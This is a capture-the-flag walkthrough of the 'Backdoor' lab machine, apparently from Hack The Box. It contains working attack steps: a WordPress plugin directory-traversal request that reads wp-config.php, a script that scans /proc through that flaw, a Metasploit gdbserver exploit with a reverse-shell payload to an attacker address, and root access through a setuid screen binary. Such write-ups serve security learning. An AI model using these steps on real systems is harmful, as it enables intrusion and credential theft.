Enumeration

sudo nmap -p- -sV 10.129.103.13
Starting Nmap 7.92 ( <https://nmap.org> ) at 2021-11-21 00:36 EET
Nmap scan report for backdoor.htb (10.129.103.13)
Host is up (0.065s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 230.73 seconds

There is a weird 1337 port that can be used by any application. We can try to netcat to it, but we get no response.

If we scan the website, we see it is a Wordpress blog. The page doesn’t have much content so we might have to scan the Wordpress dirs.

We can list files in wp-content/uploads, but there is not much there. I also did a scan with wpscan (but seems to be a useless tool):

wpscan --api-token XXXX --url <http://backdoor.htb>

I then ran a gobuster scan only for Wordpress folders, and found the plugins folder (/wp-content/plugins/) can be listed.

gobuster -w /usr/share/dirbuster/cms/wordpress.fuzz.txt dir -b 404,302 --exclude-length 0 --url <http://backdoor.htb>
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     <http://backdoor.htb>
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/cms/wordpress.fuzz.txt
[+] Negative Status codes:   302,404
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/21 13:58:02 Starting gobuster in directory enumeration mode
===============================================================
/wp-admin/admin-footer.php (Status: 200) [Size: 2]
/readme.html          (Status: 200) [Size: 7346]
/license.txt          (Status: 200) [Size: 19915]
/wp-admin/admin-ajax.php (Status: 400) [Size: 1]
/wp-admin/css/        (Status: 200) [Size: 22220]
/wp-admin/edit-form-comment.php (Status: 200) [Size: 2]
/wp-admin/edit-link-form.php (Status: 200) [Size: 2]
/wp-admin/edit-tag-form.php (Status: 200) [Size: 2]
/wp-admin/images/     (Status: 200) [Size: 16710]
/wp-admin/includes/   (Status: 200) [Size: 24762]
/wp-admin/edit-form-advanced.php (Status: 200) [Size: 2]
/wp-admin/js/         (Status: 200) [Size: 20773]       [
/wp-admin/install.php (Status: 200) [Size: 1275]
/wp-admin/maint/      (Status: 200) [Size: 967]
/wp-admin/maint/repair.php (Status: 200) [Size: 1640]
/wp-admin/setup-config.php (Status: 500) [Size: 2686]
/wp-admin/upgrade.php (Status: 200) [Size: 1245]
/wp-content/plugins/akismet/admin.php (Status: 403) [Size: 277]
/wp-content/plugins/akismet/index.php (Status: 403) [Size: 277]
/wp-content/plugins/akismet/legacy.php (Status: 403) [Size: 277]
/wp-content/plugins/akismet/readme.txt (Status: 403) [Size: 277]
/wp-content/plugins/akismet/widget.php (Status: 403) [Size: 277]
/wp-content/plugins/  (Status: 200) [Size: 1185]
/wp-content/plugins/akismet/ (Status: 403) [Size: 277]
/wp-includes/         (Status: 200) [Size: 52159]
/wp-includes/css/     (Status: 200) [Size: 9205]
...
/wp-includes/ms-files.php (Status: 200) [Size: 29]
/wp-includes/pomo/    (Status: 200) [Size: 1987]
/wp-includes/SimplePie/Cache/ (Status: 200) [Size: 2202]
/wp-includes/SimplePie/ (Status: 200) [Size: 6368]
/wp-includes/SimplePie/Content/ (Status: 200) [Size: 999]
/wp-includes/SimplePie/Content/Type/ (Status: 200) [Size: 1030]
/wp-includes/SimplePie/Decode/ (Status: 200) [Size: 997]
/wp-includes/SimplePie/Decode/HTML/ (Status: 200) [Size: 1029]
/wp-includes/SimplePie/HTTP/ (Status: 200) [Size: 1004]
/wp-includes/SimplePie/Parse/ (Status: 200) [Size: 1002]
/wp-includes/SimplePie/Net/ (Status: 200) [Size: 998]
/wp-includes/SimplePie/XML/Declaration/ (Status: 200) [Size: 1030]
/wp-includes/SimplePie/XML/ (Status: 200) [Size: 1005]
/wp-includes/Text/    (Status: 200) [Size: 1160]
/wp-includes/Text/Diff/ (Status: 200) [Size: 1385]
/wp-includes/Text/Diff/Engine/ (Status: 200) [Size: 1607]
/wp-includes/Text/Diff/Renderer/ (Status: 200) [Size: 1012]
/wp-includes/theme-compat/ (Status: 200) [Size: 2646]
/wp-includes/wlwmanifest.xml (Status: 200) [Size: 1045]
/wp-links-opml.php    (Status: 200) [Size: 223]
/wp-mail.php          (Status: 403) [Size: 2616]
/wp-login.php         (Status: 200) [Size: 5674]
/xmlrpc.php           (Status: 405) [Size: 42]
/wp-trackback.php     (Status: 200) [Size: 135]

===============================================================
2021/11/21 13:58:13 Finished
===============================================================

If we list the plugins, we see the following:

[DIR]	ebook-download/	2021-11-10 14:18	-
[   ]	hello.php	2019-03-18 17:19	2.5K

There is a hello.php file and an ebook-download plugin.

Getting the foothold

We can access /wp-content/plugins/ebook-download/readme.txt to check the plugin’s version, which is 1.1 (Stable tag: 1.1). If we google a bit about this, we can find a vulnerability for that version.

OffSec’s Exploit Database Archive
WordPress Plugin eBook Download 1.1 - Directory Traversal.. webapps exploit for PHP platform
According to the exploit, we can traverse the directories and access any file in the system:

curl '<http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php>'

And we will get the wp-config.php. We can see some passwords and seeds, but none of those help us get into wp-admin.

After a lot of time trying to get into wp-admin (I even tried to perform a dictionary attack with wpxploit), I decided to investigate more the port 1337 (maybe that’s why the machine is named backdoor).

We don’t have a reverse shell yet, so we can’t just show the used ports and the processes. Wait… we actually can but in an uncommon way: the proc filesystem.

The proc filesystem shows processes info, which can help us find which process is using the 1337 port. In order to do that, we will need to scan all the PIDs (as we don’t know which one to look at), so I will be using a python script for that.

At first I tried to test the /proc/PID/net/tcp file of each process, but it seems like it is a shared file (it has the same content of /proc/net/tcp). In this file we can see the used ports in hexadecimal (00000000:0539 -> 0.0.0.0:1337):

sl local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
0: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 35896 1 0000000000000000 100 0 0 10 0
1: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 35898 1 0000000000000000 100 0 0 10 0
2: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 33011 1 0000000000000000 100 0 0 10 0
3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 33687 1 0000000000000000 100 0 0 10 0
4: 00000000:0539 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 195237 1 0000000000000000 100 0 0 10 0
5: 0D67810A:BAE8 01010101:0035 02 00000001:00000000 01:000000D6 00000002   101        0 271782 2 0000000000000000 400 0 0 1 7

Then, I tried scanning all the /proc/PID/fd/number to check which process had that port used, but without any result.

I ended up checking the cmdline file to show the command executed to run the process, and filtered the ones which contained the port (as we usually run the cli applications with the address as parameter).

import requests

# curl '<http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=FILE>'
baseUrl = '<http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=>'

# Clear the results (some weird output from ebook-download)
def req(file):
    x = requests.get(f"{baseUrl}{file}")
    req_text = x.text
    filtered_req = req_text.lstrip(check_file).rstrip('<script>window.close()</script>')
    return filtered_req


for pid in range(0, 50000):
    check_file = f"/proc/{pid}/cmdline"
    res = req(check_file)

    if res != "":
        if "1337" in res:
            print(f"Found possible process {pid} with cmd:")
            print(res)

After running it, we get the following result:

Found possible process 956 with cmd:
bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done

Getting the user flag

It is a gdbserver. It is known that you can run host commands through some debugging tools, such as the python or php ones. So I googled about this and found the following exploit:

Turning arbitrary GDBserver sessions into RCE | Development & Security
It shows a shellcode that can be injected through gdb to get a reverse shell. Although, there is a metasploit for performing this exploit, so I won’t be covering the steps to do it manually.

GDB Server Remote Payload Execution
Rapid7's VulnDB is curated repository of vetted computer software exploits and exploitable vulnerabilities.
I configured it like this:

msf exploit(gdb_server_exec) > show options

Module options (exploit/multi/gdb/gdb_server_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXE_FILE  /bin/true        no        The exe to spawn when gdbserver is not attached to a process.
   RHOSTS    backdoor.htb     yes       The target host(s), see <https://github.com/rapid7/metasploit-framewo>
                                        rk/wiki/Using-Metasploit
   RPORT     1337             yes       The target port (TCP)


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.187     yes       The listen address (an interface may be specified)
   LPORT  6666             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   x86_64 (64-bit)

msf exploit(gdb_server_exec) > exploit

After running it, we get a meterpreter shell, which can be converted into a normal one using the shell command:

meterpreter > shell
Process 7509 created.
Channel 1 created.

id
uid=1000(user) gid=1000(user) groups=1000(user)
python3 -c 'import pty; pty.spawn("/bin/bash")'
user@Backdoor:~$
user@Backdoor:~$ export TERM=xterm

And we can get the user flag!

Privilege escalation

After some enumeration, I listed all the files with the suid bit activated.

user@Backdoor:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/screen
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/pkexec

We can see there is a screen executable, which is owned by root.

-rwsr-xr-x 1 root root 474280 Feb 23  2021 /usr/bin/screen

screen is like a terminal multiplexer. We can see the sessions listed in the folder /run/screen:

user@Backdoor:~$ ls /run/screen
S-root  S-user

And it seems like root is running its own. You can easily connect to a user with screen -x youruser/. So we can run it with root (as the suid bit is activated):

screen -x root/
root@Backdoor:~# id
id
uid=0(root) gid=0(root) groups=0(root)

and get a root shell. Now you can get the root flag!

Conclusion

Getting the foothold in this machine was quite frustrating for me. I never did a Wordpress pentest, but it makes a lot of sense to pay attention to the plugins, as Wordpress is developed by a bigger company and it is easier for a plugin developer to introduce a bug.

Also, I was lucky with the proc method, because most of the ports are configured nowadays with env or config files. To be honest, I wouldn’t consider the user easy. Although, the root was pretty straitforward if you looked for what you had to look for.

References